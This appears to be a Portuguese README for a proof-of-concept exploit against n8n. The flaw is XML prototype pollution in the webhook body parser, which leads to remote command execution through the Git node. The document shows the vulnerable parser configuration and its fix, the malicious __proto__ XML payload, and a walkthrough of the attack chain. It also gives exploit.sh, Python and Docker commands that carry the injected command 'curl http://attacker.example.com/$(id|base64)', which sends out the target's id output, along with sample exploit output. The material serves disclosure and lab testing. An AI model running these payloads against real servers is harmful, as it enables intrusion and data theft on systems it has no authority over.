// packages/cli/src/middlewares/body-parser.ts  (VULNERÁVEL — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // converte tags para minúsculas — mas NÃO bloqueia __proto__
    explicitArray: false,
    // ← SEM tagNameProcessors
    // ← SEM attrNameProcessors
});

function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

1. O atacante envia um POST XML para um trigger de Webhook público:

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. O parser de corpo xml2js cria req.body.root onde '__proto__' é uma
   PROPRIEDADE DE DADOS ENUMERÁVEL PRÓPRIA:
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. O deepCopy() do n8n itera chaves próprias via for...in + hasOwnProp.
   A atribuição  clone['__proto__'] = deepCopy(attackerArray)
   substitui silenciosamente o protótipo de clone via o accessor [[Set]].

4. O n8n serializa dados de execução para o banco de dados:
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   A chave __proto__ é incluída porque é própria e enumerável.
   Confirmado na tabela execution_data no SQLite.

5. No recarregamento, JSON.parse recria '__proto__' como uma propriedade de dados
   própria (objeto simples, sem envolvimento em array).
      Object.assign(gitOptions, reloadedBody)
   redireciona o protótipo de gitOptions para o objeto controlado pelo atacante.

6. Quando o nó Git chama simpleGit(gitOptions):
      createInstanceConfig(gitOptions)
   lê config.spawnOptions via a cadeia de protótipos → truthy →
   spawnOptionsPlugin é registrado.
   Com GIT_SSH_COMMAND no objeto env, o git executa o comando do
   atacante na próxima operação SSH.

<env GIT_SSH_COMMAND="attacker_cmd"/>

chmod +x exploit.sh
./exploit.sh setup

./exploit.sh setup

[*] Baixando imagem vulnerável do n8n (1.123.22) ...
[*] Construindo imagem do atacante ...
[*] Iniciando alvo n8n vulnerável ...
[*] Aguardando o n8n ficar saudável ...
[*] Criando workflow de webhook (Webhook → nó Code) ...
[+] Laboratório pronto.

    Execute:  ./exploit.sh demo        # verificar a primitiva de poluição
              ./exploit.sh exploit     # entregar os três payloads de RCE

./exploit.sh demo

[+] HTTP 200
    Response: {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

./exploit.sh exploit
# ou com um comando personalizado:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

pip install -r requirements.txt

# Apenas verificação — sem necessidade de nó Git:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <caminho-do-webhook> \
    --demo

# Exploit completo — requer workflow com Webhook + nó Git/SSH:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <caminho-do-webhook> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target "http://n8n.target.com/webhook/<workflowId>" \
    --webhook-id <caminho> \
    --demo

cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js

[STEP 1] VULNERÁVEL — '__proto__' é propriedade de dados enumerável própria
         descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
                       enumerable: true, writable: true, configurable: true }
[STEP 1] Parser corrigido renomeou __proto__ para sanitized___proto__
[STEP 2] deepCopy prototype alterado → clone proto[1].polluted = "CONFIRMED"
[STEP 3] Após JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ]  Se target for usado como config do simpleGit E o protótipo expuser
         ex.: { spawnOptions: { shell: true } }, o git será iniciado através de um shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (encontrado via cadeia de protótipos)
[ RCE ]  simpleGit chamaria: spawnOptionsPlugin(config.spawnOptions)
══ RESULTADO: Instância usa configuração xml2js VULNERÁVEL (sem sanitizeXmlName) ══

# Construir a imagem do atacante
docker build -t n8n-proto-pollution-poc .

# Modo demo (anexa à rede do laboratório compartilhado)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --demo

# Exploit completo
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

# Contra um alvo externo (sem necessidade de flag de rede)
docker run --rm n8n-proto-pollution-poc \
    --target https://n8n.example.com \
    --webhook-id <caminho> \
    --demo

./exploit.sh clean